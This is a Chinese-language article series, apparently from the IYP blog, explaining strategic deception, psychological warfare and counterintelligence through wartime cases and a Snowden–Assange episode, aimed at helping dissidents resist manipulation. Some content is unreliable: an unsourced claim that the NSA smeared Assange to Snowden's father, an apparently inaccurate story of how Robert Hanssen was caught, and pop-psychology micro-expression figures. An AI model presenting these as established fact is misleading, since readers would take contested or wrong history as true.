于是国安局的间谍便由此展开了心理攻势：一方面他们通过媒体放大“劝说”性的信息，并谎称只要斯诺登放弃曝光他们就会撤销全球通缉令；而另一方面，他们又派出特工突击斯诺登家人的心理防线。

他们采取的是迂回战术：并没有直接用斯诺登的安全问题做武器，而

是转向了阿桑奇。

对于斯诺登的父亲而言，他已经从报纸上知道了自己儿子的处境，也知道阿桑奇是唯一直接帮助斯诺登的人。而且他也明白，家中的所有通信都被监听了。所以家人对斯诺登情况的了解其实并不多。

于是国安局就利用这点，在斯诺登家人面前诋毁阿桑奇，谎称阿桑奇“借助斯诺登到处敛钱”。

事实上这一切完全没有任何证据。国安局利用的是曼宁的例子，做了一口黑锅给阿桑奇。

因为当时曼宁曝光文件后奥巴马政府立刻起诉了曼宁，虽然所有被起诉的罪名并没有被法官一一批准，但最终还是被判刑了。这些资料在各大媒体上公开，所有人都知道。

但联邦调查局很快发现，曼宁的支持者非常多，人们不仅没有被当局的起诉和污蔑所动摇，并且组织起来为曼宁集资了125万美元。

125万美元的确是事实，但国安局陈述的内容完全是虚构的，他们将这笔钱栽赃在了阿桑奇身上，并讲给斯诺登的父亲，谎称“阿桑奇借曼宁收敛支持者的钱财”。这就是人格暗杀的一部分。在这里看到详细解释《什么是人格暗杀》。

在这里谎言的压力下，斯诺登的父亲果然受到了影响，开始怀疑阿桑奇 —— 斯诺登唯一的最大的支持者，他也通过律师表达了同样的质疑。

国安局的目的十分明显，就是通过斯诺登的父亲离间斯诺登和阿桑奇之间的关系，在支持者之间制造猜忌，从而孤立斯诺登，以便进一步攻击他。

后来阿桑奇的助手及时赶到香港协助斯诺登避难，国安局的心理战才未能如愿。但是，这种心理战术非常值得警惕 —— 因为并非所有被瞄准的人都具备有效的反攻机会和能力。

尤其是，我们听说过中国当局擅长胁迫异议人士的家人；于是您很有必要在防卫计划中将家人被突破的可能性纳入进去。

4、解读行为举止

就如 IYP 在“社交工程”栏目中多次提到过的，观察和情报搜集是发起

任何有效攻势的前提。比如，在这里看到《用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？》

⚠探究到对方的心理弱点，然后针对性的发起攻势，从心理基本面上彻底搞垮对方。

于是解读对方的行为举止被称为间谍能力的准绳。

举止比言语更容易暴露一个人的内心。观察并分析举止是间谍培训中的重点部分。

反过来看，间谍依靠谎言维生；虽然他们可以使用高明的谎言做到逻辑上滴水不漏，但也很难控制自己的行为举止，尤其是微表情。

从心理学角度上说，即便是再狡猾的间谍，在说谎或内心情绪波动时也无法逃脱微表情停留的极限，即1/25秒。这是人的生理因素决定的。

因此，⚠细致地观察对方的行为举止就能迅速了解对方的内心世界，从而根据对方的心理特点做出不同的应对策略。

做到这点并不是太难，需要很多直觉方面的练习。

请注意，⚠人们往往会因此认为，培训政府间谍的教程也适合反间谍人员学习，理论上的确如此；但是，要做到成功的反间谍，必需能在间谍基础知识的层面上高出一步，否则反而更容易被识破。

一个著名的案例。很多人都知道有着“21世纪间谍第一人”之称的 Robert Hansen。当 Aldrich Ames 被中情局和联邦调查局抓获后，两大情报组织发现，所有疑点都指向 Robert Hansen。

他们派出了最优秀的间谍来调查此案，但是多年后一无所获。联邦调查局感觉难以置信，因为他们对 Robert Hansen 进行了多次测谎，但每一次都被他通过了。

直到继续对 Robert Hansen 进行长期监视才真的发现了蛛丝马迹。

本来 Robert Hansen 觉得只要能稳住一段时间就可以安全渡过难关；正因为多年来中情局和联邦调查局都没有发现任何事，他心里就有些得意了。也正因此放松了警惕。

在弗吉尼亚州维也纳小镇的公园里，他的确使用了基本反侦察技术对

周边做了一些调查，确认安全后他将公文包放在了一个指定地点。

完成这一切很顺利。原本没什么问题，但是他发现两个可疑的人站在公园一角。当时他心里一慌，下意识地将外套衣领向上提了一下，然后放慢脚步离开。

结果就是这个拉衣领和突然放慢脚步的小动作将他出卖了。

那两个可疑人的确是联邦调查局特工，他们其实并没有发现公文包，由于跟踪 Robert Hansen 很久了，他们也在心理上放松了警惕；但是，直到看到 Hansen 的两个小动作，立刻发现了异常。

随后便找到了那个公文包。

作为多年从事特工工作的人，Robert Hansen 已经养成了伪装自然走路姿态的习惯，所以忽然的放慢脚步其实是他作为间谍的本能反应；然而这点恰恰被同样是间谍的联邦调查局特工捕获了。

所以，必须说，了解你的对手的知识和思考方式肯定是必要的，但如果你想要做到有效的反制，就必须比你的对手高出一筹。 〇

—— 未完待续 ——

原文

欺骗不是撒谎这么简单：对峙的艺术（1）- iyouport

免费书和纪录片战略性欺骗-识别和抵制

【2019年8月7日存档】武器有很多种，心理学就是最重要的武器之一。

你会撒谎吗？也许你觉得自己很会撒谎，能做到脸不红心不跳，这很棒。但本文想要解释的撒谎可能不是生活中骗女朋友那么简单，它是一种武器，是战略性的。被称为“战略性欺骗”。

IYP 在隐私保护相关的内容中一直在强调，人们在社交网络上说得太多了，在完全无意识的情况下说出了很多有可能致命的信息，这是严重失误的。

有些读者询问：“那么我们还能说点什么呢？总要说些什么的吧……”。没错，应该鼓励发言，发言至少有希望凝聚共同意志，甚至有希望实现联合，这是理论层面上的；但实际层面上还要考虑到，您希望联合的人群很可能并没有关注您的言论，反而是希望击败您的联盟的人一直在密切关注您说了什么。这种情况下您的发言基本是在给敌人递手榴弹。

那是那句话，反抗和异议完全不同；反抗是对战，不仅需要技能技巧，还需要一系列战术策略。

> 战时，真相是如此宝贵，以至于需要谎言来护卫
> —— 丘吉尔，*1943*

人类有着长达五千年的战争史，战略性欺骗的历史和战争史一样久远。如果说兵力和武器占据三分之一的分量，那么谋士则占据三分之二。

到21世纪高技术对战时代，欺骗的战略更是无处不在，几乎所有战争奇观中都包括谋略家的出色表演。

欺骗手段历史悠久，但一直没有明确的定义。古代中国人称之为“诡道”，古代欧洲人称之为“Stratagem 谋略”；不论叫它什么，它的基础思考框架、目标和原则都是相似的。

如今，欺骗已经远远超越了军事范畴，它就在普通生活中，是社交工程的一部分，可以称得上社会现象。

—— 概述 ——

「图」

通常情况下，欺骗有两层含义：1、隐真；2、示假。

隐真意味着严格保密，或者成为“拒止”；示假则是欺骗。

如果只是“掩饰”—即 保密和伪装，那只能是一种消极的欺骗 —— 通过消极的手段阻止对手接近秘密；但战略性欺骗的第二层含义则是“制造谎言”，使其成为积极的战术。制造谎言使对手远离事实，于是更具主动性。

不论是对抗行动还是日常生活，欺骗都包括上述两方面，既有隐真，也有示假。隐真和示假侧重点不同，但相辅相成。

美国蒙特雷海军研究生院教授提出过一个概念：“战略拒止和欺骗 Strategic Denial and Deception”。其中拒止就是信息战，欺骗对手使其相信错误的信息、虚假的图像，误导对方情报机构和决策者，从而导致其作出符合己方需求的决策。

在这里看到一个中国有可能即将实施的现代战争的典型欺骗战术，《虚假地球》

战略性欺骗涉及的概念和理论非常多，包括并不限于：情报、反情报、心理战、情报认知和分析、隐蔽、伪装、隐蔽行动（秘密行动）、非常规战争、危机管理、预警、信息战……等等。其中大部分我们都有专门介绍。

IYP重点介绍并演示了很多关于心理战、社交工程、OSINT情报分析的技术和案例，其中心理学是尤其侧重的，因为你必须知道你获取的情报究竟是不是真的。

是否真实与你获取该情报的困难程度完全无关 —— 这句话非常重

要。

⚠人们往往会下意识地认为“千辛万苦”获得的东西肯定是“真的”，欺骗者恰好可以利用这点；并且社交工程学利用的所有人性弱点在此都是高效的。

情报人员非常容易受到战略性欺骗的攻击，这与情报获取的能力并不一致。让情报具备价值的关键在于分析，于是对情报分析师的培训一直在专注于心理学角度。

关于情报分析心理学的知识同样应用于反社交工程攻击、真假消息辨别技巧；也就是说，不论是攻还是防，重点都是一样的，比的是其中哪方能技高一筹。如果您对此感兴趣，我们推荐几本书和资料：

- Barton Whaley 「Codeword Barbarossa」 Cambridge: MIT Press, 1974;
- 「Stratagem: Deception and Surprise in War」 Cambridge, MA: MIT Press;
- Richard Heuer, 「Psychology of Intelligence Analysis」 Washington, D.C.: Center for the study of Intelligence, CIA, 1999;
- Cynthia M. Grabo, 「Anticipating Surprise: Analysis for Strategic Warning」 Washington, D.C.: Joint Military Intelligence College, 2002;
- Abram N. Shulsky & Gary J. Schmitt, 「Silent Warfare: Understanding the world of Intelligence」 Potomac Books, Inc., 2002;
- Major Mark Johnson & Major Jessica Meyeraan, 「Military Deception: Hiding The Real, Showing The Fake」Joint Forces Staff College, March 7, 2003.

战略欺骗研究在美国是一门显学，大多数资料都来自美国；当然，二战时期欧洲游击队的策略也是不俗的。

美军将欺骗分为五大类：

- 战略级（Strategic MILDEC）：使敌方作出有利于己方目的、策略和行动的军事决策；
- 军种级（Service MILDEC）：保护和增强军种部队的战斗力；
- 战役级（Operational MILDEC）：阻止敌方作出或实践正确的决策；

- 战术级（Tactical MILDEC）：阻止敌方作出进攻相关的正确决策 ；
- 支援作战保密（MILDEC in support of OPSEC）：削弱敌方发现己方作战保密薄弱环节的能力。

—— 战略性欺骗和其他秘密行动的关系 ——

「图」

欺骗就是用己方精心设计和选取的信息操控对手的思维模式，并引导其采取错误的行动，以夺取信息权。

于是欺骗往往是信息战的重要形式和核心能力；换句话说，只要能抵制欺骗，就能赢得信息战的大部分胜利。

此外欺骗也与电子战、心理战、作战保密息息相关；它们互相作用，也有时会存在潜在的冲突。理清这些问题对于防骗来说是很重要的，你能知道对手在什么情况下最可能使用什么伎俩。

1、欺骗和信息战

信息战（Information Operations）是指综合使用电子战、网络战、心理战、战略性欺骗和作战保密的核心能力；在特定支援能力和相关能力的配合下，影响、扰乱、破坏或侵占对手的人工或自动决策能力，同时保护己方行动。

信息战的概念来自美国，但如今中国采取的信息战手段已经引起全球重视。在这里看到关于中国信息战的解释 “Chinese Information Operations and Information Warfare”。

信息战顾名思义，是以信息和信息的使用为武器的，于是成功的信息战离不开欺骗。

利用对手的信息系统和能力，将编制好的虚假信息传递给对方决策者。从计划到实施都是在信息环境下完成的，要为对手设置一个虚假和错误的信息环境。

于是，其中关键是了解对手的思维方式、计划习惯、以及在工作中实施信息管理的手段。反过来看，如果你不想中招，上述的一切都应该严格保密，让对手摸不清门道，他们的策略就会失败。

你自己说得越多，就越危险。

关于现代信息战，更多内容《当恶意者掌握技术：信息战的未来究竟有多可怕？》

2、欺骗和电子战

电子战（Electronic Warfare）是指使用电磁能或定向能控制电磁频谱攻击敌人的军事行动。同样是信息作战的核心能力。

利用电磁能量和电磁频谱，向对手传送错误信息、入侵对手的传输路径、阻止对手的电子战支援。

欺骗为电子战提供了重要的支援，如 使用电磁冒充、模拟大规模军事部署 ，从而使对手高估己方的能力，达到威胁的作用；或者掩盖己方能力，使对手轻敌。

电子战本身也可以支援欺骗行动，包括提供重要的实施渠道和反馈渠道（电磁频谱）；通过干扰或攻击对手通信和ISR系统，塑造和控制对手获取信息的能力，散播欺骗性信息。

3、欺骗和心理战

心理战（Psychological Operations）是指向外国受众传播选定的信息和征候，以影响其情感、动机、客观推理能力，并最终影响其决策。

在这里看到我们曾经的解释：

- 《趣味心理战（推荐纪录片）》
- 《秘密宣传网络》
- 《现代战争：以心理操纵为武器》
- 《媒体操控：战略性欺骗的重头戏》
- 《微妙的宣传》
- 《操纵式宣传：五个过滤器和识别线索》

作为信息作战的核心能力，心理战和欺骗都是作用于受众的认知域的，即 受众对局势的分析判断能力。

不同的是，欺骗针对特定的个人，即 对手方的 决策者；心理战则针对群体，如 对手的支持者和民众。

⚠欺骗行动在向特定目标传递虚假信息的同时，借助心理战向广泛受

众传递与心理战主题一致的信息，以产生心理震慑作用，或诱使对手低估己方作战能力。

4、欺骗和作战保密

作战保密（Operations Security）是通过确定、控制和保护关于策划、实施敏感行动的公开信息，阻止对手获取己方能力、意图 情报的过程。

作战保密是实施欺骗战略的前提，也是重要组成部分。

为了保密，欺骗方需要制作大量的虚假征候，以迷惑对方的情报人员，令其注意力转移到无关紧要的方面。

—— 情报和反情报 ——

「图」

战略性欺骗对抗中有欺骗者和被欺骗者两部分，而情报 工作中也有以获取情报为目的的对外情报、和以维护安全为目的的反情报。

情报在战略性欺骗中具有决定性作用，主要体现在以下几个方面：

1、情报是制定合理欺骗计划的前提

欺骗是一种心理干预，这种心理干预的主体和工具就是情报机构主导下的信息系统，它的受众则是潜在的被骗者。

欺骗者为被骗者构建了一个与真相相反的信息系统，在此过程中，欺骗者准备描述的图像、提供的信息，必须在欺骗对象眼中看起来具有足够的可信度。这是成功欺骗的一个重要原则。

就如小说和生活的区别，生活可以离谱，但小说必须符合大众熟知的逻辑；真相可以完全出乎意料，但欺骗必须符合目标受众的既有认知。

再一次，知己知彼是重要基础。

欺骗计划是不是有效、能不能打动对手的心，完全依赖于分析人员对对手的了解：什么能影响对手的决策？对手倾向于如何看待时局？对手的决策流程是什么？对方最担心的是什么？……等等，都要具备充分的答案。

情报工作最重要的内容是了解对手的预期和倾向。实验心理学证明，思维主体的倾向越强烈，就越容易曲解和误读与其不一致的观点。

简单说，⚠心理干预的方向必须迎合被骗者的偏见和心理预期。

显然，若能探究对手的内心意图，就会更容易获取对手的信任。

纳粹宣扬苏德友好的欺骗计划恰恰符合斯大林的先入之见。德国利用《苏德互不侵犯条约》宣扬友好关系，就在巴巴罗萨行动前不久，德国最高统帅还在大张旗鼓地迎接苏联贵宾；与此同时到处散播消息，称斯大林即将德国南部的巴登疗养，给人们一种苏德真的友好的虚假印象。

简单说，⚠欺骗者的任务就是强化被骗者的内心倾向，并尽力减少与之相矛盾的线索，使其在不知不觉中与欺骗者合作。

2、情报是进行欺骗评估的核心

成功的战略性欺骗需要密切关注欺骗对象的心理认知和思维方式；了解欺骗对象的背景情况和心理情况；了解其对力量和行动方案的认知；评估其在不同情境下的行为、以及对欺骗计划可能作出的反应。

欺骗方需要对其目的、目标、对象、情节、和手段，进行不间断地再评估，这一过程中情报起着关键作用。

欺骗评估按内容可分为可行性评估、效果评估和风险评估三种。其中效果部分包含适应性，即 欺骗计划适应不同要求的能力，比如是否可以对预期外的状况作出安全并适宜的反应（简称 planB）。

欺骗也存在风险，评估需要考虑：失败的风险、暴露的风险和非故意的风险。于是欺骗行动需要搭配稳定可靠的情报支持。

3、情报也是识破欺骗阴谋的唯一途径

反欺骗包括防御性反欺骗、进攻性反欺骗、和利用性反欺骗。

防御性反欺骗指保护己方决策者免受对手的欺骗，从而有利于掌控局势；

进攻性反欺骗指迫使对手暴露其真实目的，并假装尚未发现对手的欺骗行为，诱使对方继续投入欺骗资源，继续实施事实上已经被揭穿的欺骗；

利用性反欺骗是指阻挠对方阴谋的同时，利用欺骗战术，影响对方决策。

在反欺骗行动中，情报发挥作用的方面包括：

- 了解对手的欺骗历史，包括使用欺骗的时机、模式、手段 、渠道 等等；
- 发现对手的欺骗行为，通过反映对手已经采取、正在采取或即将采取的措施，揭露对手的欺骗企图、行动、情节和核心信息；
- 为实施反欺骗提供依据，即 不断了解对手的情况，使己方反欺骗行动更具针对性、合理性。

反情报与战略性欺骗 ——

上面推荐的一本书「Silent Warfare: Understanding the world of Intelligence」 中就是将欺骗作为反情报方式的。

反情报就是反监视、反侦查，即 避免自己被对手更多了解和分析。

战略性欺骗本身是一种积极的反情报工作。历史上著名的战略性欺骗都是反情报部门主导的。

反情报在战略性欺骗中的作用有以下几点：

1、反情报是确定欺骗渠道、评估欺骗效果的主要途径

作为对对手的一种心理干预，战略性欺骗实践者必须确保把事先设计的虚构图像或信息传递给对手。

传递假象的渠道必须通畅；欺骗者必须知道传递的信息可能无法按预期方式抵达对方手里，对方也可能不按照预期方式对信息进行解读。

因此如上述所强调的，实施者应当在保持自己的一切不被对手了解到的情况下，能了解对手的一切，使信息尽可能被对手接收、解读，从而达到欺骗的目的。

这一部分的工作就属于反情报工作。

2、反情报是建立信息反馈渠道、控制对手情报行为的有力武器

与信息发布渠道同等重要的是信息反馈渠道。

信息发出后对手是否正确接收到了欺骗信息、对该信息做出了怎样的反应，这些都需要情报机构去收集。

只有在充分反馈的基础上，欺骗者才能知道是否可以继续行事、是否应该调整欺骗计划，或者中止该计划。

反馈收集可以从观察对手的行为入手，但更好的办法就是攻破对手对的情报营。

二战时期，英国控制了在英国活动的德国间谍，建立了双十体系 XX System，成功了解到德国对盟军欺骗行为的认知，并据此调整了欺骗计划。

当时管理双十体系的军情五处官员列出了七个目标，其中包括控制对手的谍报系统、从对手提出的问题中猜测对手的计划和意图、通过传递虚假信息对对手施加影响、以及实施欺骗的计划等等。

3、反情报是欺骗成功的屏障

欺骗是人类生活中最普遍的现象，不仅在对战中存在，在日常生活中也存在，婴儿在不会说话之前就会欺骗。

比如魔术就是一种欺骗行为，如果你揭穿底牌它就无法继续下去了。战略性欺骗也是如此。如果实施欺骗过程中真相外露，一切都会结束。

因此保密是欺骗的关键部分，是欺骗得以成功的大前提；也就是说，在实施欺骗的过程中必须实施严格的拒止措施。

—— 战略性欺骗是一门艺术 ——

「图」

没有任何东西能比得上战略性欺骗对情报分析难度的增加；面对对手的欺骗行为，即便是优秀的分析师也有可能出现失误。

但是，想要识破战略性欺骗，首先就要深刻了解它。

战略性欺骗是一门艺术，没有特定的行为规则和必胜要领，实施者总是能想办法创造出奇迹。

成功的欺骗大师之间没有普遍的共性。除了创造力。

1、先入之见

首先不要把对手当成傻子，这会导致轻敌的失误。

一般情况下决策者都会对局势有一个总体的认识，也就是对时局的假设性判断。如上所述，大多数成功的欺骗都是顺应被骗者先入之见的。

但是，要知道，先入之见并非总是偏见和感性偏执的，正相反，最常见的先入之见是对手出于理性的逻辑思维。

1973年第四次中东战争爆发之前，以色列摩萨德对时局有两个判断：埃及在取得空中优势前不会发动进攻；如果没有埃及的配合，叙利亚没能力发动战争。

这两个判断都符合阿以双方的力量对比，是正确的局势指针。在后来的战争准备中，埃及军队就有意识地强化以色列的认知；有关军备建设落后的消息被不断放出，从而使以色列人相信埃及空军“不堪一击”。

2、对手的思维方式

在制定欺骗计划时，欺骗者必须充分考虑到对方决策者的思维方式，你越是了解对手，你的成功机会就越大。

欺骗艺术的一部分就是要学会从对手的角度思考问题 —— 即 **IYP**曾经强调过的，要想防止被骇，那就要像骇客一样思考。

所以，诱饵的设计必须准确地掌握有关对手的思考模式以及信任状况方面的情报。

思考方式往往取决于对手的性格，性格激烈、自主强的决策者往往独断专行，笃信自己的世界观，完全不接受与之相左的信息。面对这样的对手，战略性欺骗必须能按照他们的偏见制造诱饵。

希特勒就是这样的人。希特勒坚信盟军登陆的最佳地点是加来海峡，盟军就不断释放加来才是真正登陆地点的假消息；在诺曼底登陆后，盟军还通过双重间谍发布假消息，把诺曼底伪装成佯攻，最终取得了完胜。

3、影响对手决策的外在因素

在决策过程中，除了决策者的主观因素外，外在因素也很重要。

比如不可避免的官僚体系，这类外在因素可能会带来无法控制的意外情况。

1998年印度在实施核试验之前采取了一场战略性拒止欺骗行动，印度利用云层掩护开展行动，以躲避美国的卫星侦查，并将易于泄密的电缆深埋，以防止美国情报人员获知。

同时印度还使用外交手段进行欺骗，使外界认为印度并不急于进行核试验。

事实上，美国在核试验前一周就获得了图像资料，但这些资料没能被及时处理，政府忙于应付其他问题，也没有提出任何相关情报需求，就连外交官也对自己说服印度的前景充满信心。

在此案例中就是美国的官僚体系影响了情报的预警能力，导致欺骗成功。

欺骗的目的是误导对手的决策 ——

欺骗者需要编制一个完美的谎言，让对方相信，让局面陷入更深层的迷雾，使对方误入歧途。

狼来了的故事在中国家喻户晓。战争中也是非常常见的。

还是第四次中东战争，埃及多次征召预备役人员，然后又分批复员，频繁的动作让以色列很困惑，以色列无法确定埃及是否真的在准备战斗，于是也被迫进行了两次动员，损失了数千万美元。

结果是，当埃及进行真正的动员时，以色列人已经麻木了，不愿意再“无端地消耗金钱”，埃及的欺骗就成功了。

需要知道，埃及的目的是让以色列懈于防备，而不仅仅是战略误判。

即 战略性欺骗并不仅仅限于让对手错误评估局势，它的根本目的是确保对手按照己方的预期进行决策和行动。

也就是说，你的目的并非让对手怎么想，而是要让他怎么做。这是欺骗的首要戒律。

—— 未完待续 ——

原文

伟大的自欺 — 战略性欺骗的心理维度（2） - iyouport

免费书和纪录片战略性欺骗-识别和抵制

【2019年8月8日存档】真相经常不起作用。并非真相本身的能力问题，而是在于，拒绝讲述真相的人都是具有最大资源可以长期操纵大众认知的人，讲述真相的人是权势谎言的挑战者，并且没有这样的资源……这根植于人类固有的思维缺陷

战略性欺骗有着震撼级的效果，但其巧妙精致的筹谋过程大多鲜为人知。

众所周知“霸王行动”是二战战场的重要转折点，为“霸王行动”成功立下汗马功劳的欺骗计划早在1943年3月就开始运作了。

这是一个环环相扣的计划，必须深谙德国人的心理，为希特勒制造决策陷阱，并要求挫败德国的情报和发展欺骗的努力。

这一典型的欺骗计划呈现了战略性欺骗的几乎全部精妙所在。

首先，欺骗行动本身作为一种心理干预的过程，为促进敌方的错误认知，对敌方的心理应该非常了解，在了解的基础上才能有效误导对手。

其次，战略性欺骗可以看成欺骗者为博取战略利益而做出的决策选择，其最终目标是误导对手的决策过程，使其作出有利于己方战略利益的决策，而双方决策的博弈结果就是战略性欺骗的成败。

再次，战略性欺骗并不是完美安逸的单向行动，它的任何一个漏洞都为潜在的被骗者识别欺骗提供了机会。从欺骗的筹谋到行动，对手的反欺骗努力在任何一个环节上都是不可忽略的因素。

—— 战略性欺骗的心理维度 ——

「图」

如上所述，使对手产生错误认知是成功欺骗的第一步。

Barton Whaley 说欺骗是一个心理概念，他曾沿着心理学的轨迹将欺骗作为一种错误认知和心理现象，发展出一整套关于欺骗的理论。

> 欺骗要想取得成功就必须对欺骗对象的思想产生预期的影响。

认知分为两种：错误认知和准确认知；错误认知分为两种：他人诱导，和自我诱导；他人诱导分为两种：欺骗（故意）和曲解（非故意）；自我诱导分为两种：自我欺骗（幻觉，能看到但不愿意看到）幻想（不能看到）。

⚠他人诱导就是诸如社交工程攻击者、宣传战中的主流媒体、虚构事实的权势等等；自我诱导多数情况下是他人诱导的结果，当权势真正绑架了大众价值观和思考方式的时候，人们就会出现自动的自我诱导，因为潜意识在试图避免认知失调。

具体而言战略性欺骗的心理学纬度至少包含以下三个层面。

1、“顺祥敌之意”

除了诡道之外，孙子还说过这句话：为兵之事，在于顺祥敌之意。即谨慎考察敌方的战略意图对于作战指挥来说至关重要。

同样，对于战略性欺骗而言，熟知对手的心理倾向也是重中之重。

通过推理，可以直接或间接地弄清敌人的想法。

在欺骗行动的筹划阶段，欺骗计划者应竭尽全力了解对手 —— 尤其是对方决策者和情报机构对相关战略问题的认知倾向。

在第四次中东战争中，埃及的战略性欺骗就充分考虑了美国和以色列人对阿拉伯人的认知倾向；在第三次中东战争后他们认为：阿拉伯人没有能力计划或实施协调一致的行动。

顺祥敌之意是情报工作的功能体现。⚠情报工作不仅在战时发挥作用，更普遍的是在外交中发挥作用，并且同时能在政治反对派对当权者的抵抗中发挥重要作用。

> 现实是一份重要的资产，人们需要有牢牢抓住它的意识，调查性新闻就是将现实从权力手里夺回来的崇高艺术。—— *IYP* 《为自由而战（五）》

通常情况下，人们的认知倾向主要来自于经验和理性的分析结果。过去的经验往往使人产生对未来的预期。政治决策者和其他任何人类一样，普通人类存在的心理弱点，政治决策者都拥有。*Lambert* 的人类认知模型

既然理性分析是决策的主要因素，那么使用同样的理性也能为我们提供了解对手认知的窗口。

二战后期，在盟军准备开辟欧洲第二战场时，德国人也在猜测盟军的登陆点。以理性的观点，公认的最为合适的登陆点是加来，这是英吉利海峡最窄的地方，地势平坦，离德国工业中心鲁尔最近，具有最佳战略意义。

但是，正因为加来在各方面都是上上之选，如果选择这一目标肯定会失去突然性。因此盟军反其道而行，绕过了最符合逻辑的这个地点，并将其作为诱饵，展开欺骗行动。

朝鲜战争时期，美军选择在仁川登陆也是同样道理，即 跳出对手的理性分析，从而达到出其不意的目的。

然而，⚠理性认知不能完全决定心理倾向。

在很多情况下，非理性的情感因素 —— 自信心、亲进度等等，都会导致分析和决断上的心理倾向；⚠决策者和情报机构习惯于用自己的文化价值观 、意识形态信仰、军事学说、或者心理预期来评判对方 —— 也就是说，将对方看作是自己的镜像，这是一个强大的心理弱点，美国在对中国的外交中屡屡吃亏的关键就在这里。

这种镜像思维也是大多数情报失误的关键所在。

换个角度说，我们很难确定行动一定是理性的。日本对美国发动袭击的重要历史事实在很多人看来都是非理性的；而埃及在必败的情况下发动第四次中东战争也不是“理智行为”，但这些突袭都取得了最终成功。

这已经足够说明，决策者的行动并不总是沿着常规理性的思路，如果你一直以常规理性来判断它，肯定会失误。这是*Lambert*研究的一般认知结构。从理解欺骗的角度来看，概念是基于其现状来解释达到认

知系统感官世界的反射。欺骗目标是控制这些反射，以便在目标的感知中产生期望的变化，从而实现顺应性。这可以通过抑制或诱导该结构内的认知活动来完成。

理性认知和情感因素都是在特定的思维方式下发挥作用的。

人类思维模式具有稳定性、结构化、程序化的特点。在文化系统、意识形态等方面的差异会造成思维方式的不同。

思维方式客观且绝对地影响着分析和决策心理，⚠因此在筹划欺骗的过程中，对手的思维方式正是欺骗者不可不知的工具要素。

除非有像破译 Enigma 这样的超级情报来源，否则，对对手心理倾向的把握都必须运用对手的思维方式，结合理性思维和情感因素综合作出判断。

在战略性欺骗中，歪曲的认知分析可能是个人造成的，也可能是机构造成的，唯有“顺祥敌之意”，才能因敌制胜。

推荐一份资料，Michael I. Hande, “lIntelligence and the problem of Strategic Surprise”, 正下面下载。

https://thecsi.org.uk/isi/wp-content/uploads/2018/07/Intelligence-and-the-problem-of-strategic-surprise.pdf?0856f5

2、构建误导性知觉体系

利用情报等手段获悉对手的心理倾向固然在欺骗的筹谋阶段就赢得了先机，但就欺骗行动而言，一切才刚刚开始。

知觉是对外在刺激作出的主动或被动的反应；战略性欺骗的目的就是要诱使对手的知觉体系作出符合己方战略利益的反应。

因此，欺骗者需要依据对手的心理倾向为其构建误导性知觉体系，这才是真正的欺骗实践。

相关研究将欺骗分为两种形式：其一为“增加模糊度” 即“A模式”，这种欺骗寻求的就是使情况足够模糊，使对手始终无法辨明方向，以至于被迫分散力量对付所有可能发生的情况；

另一种较为复杂的欺骗形式称为“将对手引入歧途” 即 “M模式”，这种欺骗与A模式相反，它寻求的是减少模糊度，使一种假情况非常具有

吸引力。

这两种欺骗的效果常常是共存的，或随着欺骗的开展而互相转化。

这两种形式实际上都是欺骗者为其欺骗对象构建知觉体系的样式。

诱导性知觉体系 ——

与“M模式”对应的就是诱导性知觉体系，其任务目标是将对手心理认知诱入歧途。

⚠当潜在的被骗者有明显的心理倾向，也就是说在认知上存在某种先入之见或认知偏见时，构建诱导性知觉体系就很容易了。

由于认知偏见本身就是人类简化信息处理策略引起的思维错误，它根植于过去的经验中，而根据逻辑和历史经验进行推理的过程会产生理性认知相符现象，但是也会使人们将接收的信息纳入原有的认识框架中，导致他们所知觉的东西就是他们原本预期出现的东西。

因此，按照对手的先入之见来构建欺骗信息体系就能够为对手迅速接受。欺骗成功率最大。

⚠人类思维模式的局限性往往令人难以分析与之前的看法完全不同的证据，正是这点令任何一种欺骗计划迅速得逞的。也是为什么批判性思考要强加训练。每一个社交工程师都非常擅长捕捉人性弱点。这张图可以为更高级别的认知欺骗提供额外的结构。这个模型开始研究人类如何相互作用以创造欺骗，以及这些欺骗如何在广泛的层面上导致目标中的解释和行为符合欺骗者的利益。它还显示了欺骗的递归性质，因为时间和对称性引起的递归。

迷惑性知觉体系 ——

在察觉对手心理倾向的过程中，有关对手的确切心理、尤其是决策机构的预设倾向，通常都是核心机密，并不易获得，即便是通过分析，也可能得出模棱两可的结论，

此时，⚠欺骗者就可以主动建构在逻辑和情感上都能够普遍接受的事态预期，引导对手的分析者和决策者陷入迷惑。

在现实情况下，构建迷惑性知觉体系更为常见，使对手“不知战地、不知战时”，疲于应付，造成*备前则后寡，备后则前寡，无所不备，无所不寡*的尴尬局面 —— 这是游击队战略中以少敌多的精巧之处。

日本海军曾经用过这个方法。他们发布了详细作战计划 —— 《联合舰队绝密作战第一号命令》，引发了700份，描述了进攻菲律宾、马来亚、荷署印度等地的全部细节，但是，避而不谈珍珠港任务的部队。

以至于突袭成功后，美军将领哈尔西将军说，“我们（太平洋舰队）的所有情报都表明，日本将针对菲律宾或马来半岛的南部地区及荷属印度群岛发起攻击。虽然考虑过珍珠港的可能性，但很快就被排除了，因为我们手头的大量证据都指向其他地方”……

同样成功的战略性欺骗也存在于诺曼底登陆前。盟军制订的欺骗计划中。盟军的兵锋所指除了显而易见的加来和诺曼底之外，还有挪威、法国南部、巴尔干地区。希特勒完全无法确知盟军真正的进攻方向，不得不四处防备。这就分散了他的注意力。

在为对手构建误导性知觉体系时，必须使假情报看起来完全合理，具有足够的可信度。并且要保持与整个形势协调一致。这是关键所在。

⚠尤其是，极为重要而经常被忽略的一点：不必非得让你的对手相信你为他营造的假象，只要他对假象保持足够的关注，你就成功地牵制了他的注意力。

⚠在当权者采取的大规模在线心理战中，这个手段是极为常见的。下一次您在跟随“头条”刷热点时，请三思一下。

独裁者一直把民众当成对手，而异议还远远没能将其批评对象视为对手。这是基础性错失。

3、欺骗和自欺

许多研究者将欺骗和自我欺骗混为一谈了，认为所有欺骗“都是自我欺骗”，除非欺骗者彻底征服了被骗者的内心，否则欺骗无法达成目的。

就如歌德所言：“我们永远都不是被骗，而是自己骗自己”。

从严密的逻辑和认知角度上来看，欺骗和自欺都是错误知觉，这种认识不无道理；但是，欺骗和自欺显然不完全一样。

Barton Whaley 区分了这两者的语义，他将前者归为对手的诱导性欺骗，后者归位自我诱导性欺骗。

在任何情况下，这两种欺骗的认知过程虽然不完全相同，却十分相似。

事实上，我们利用对方的偏见或先入之见去构建将对方误入歧途的知觉系统时，由于欺骗计划是因对手而设置的，⚠于是所有的欺骗性信息都是在强化对手的偏见，并防止这种偏见受到任何真实信息的影响而动摇。

因此，给人印象最深刻的成功欺骗一定会涉及很大成分的自我欺骗。

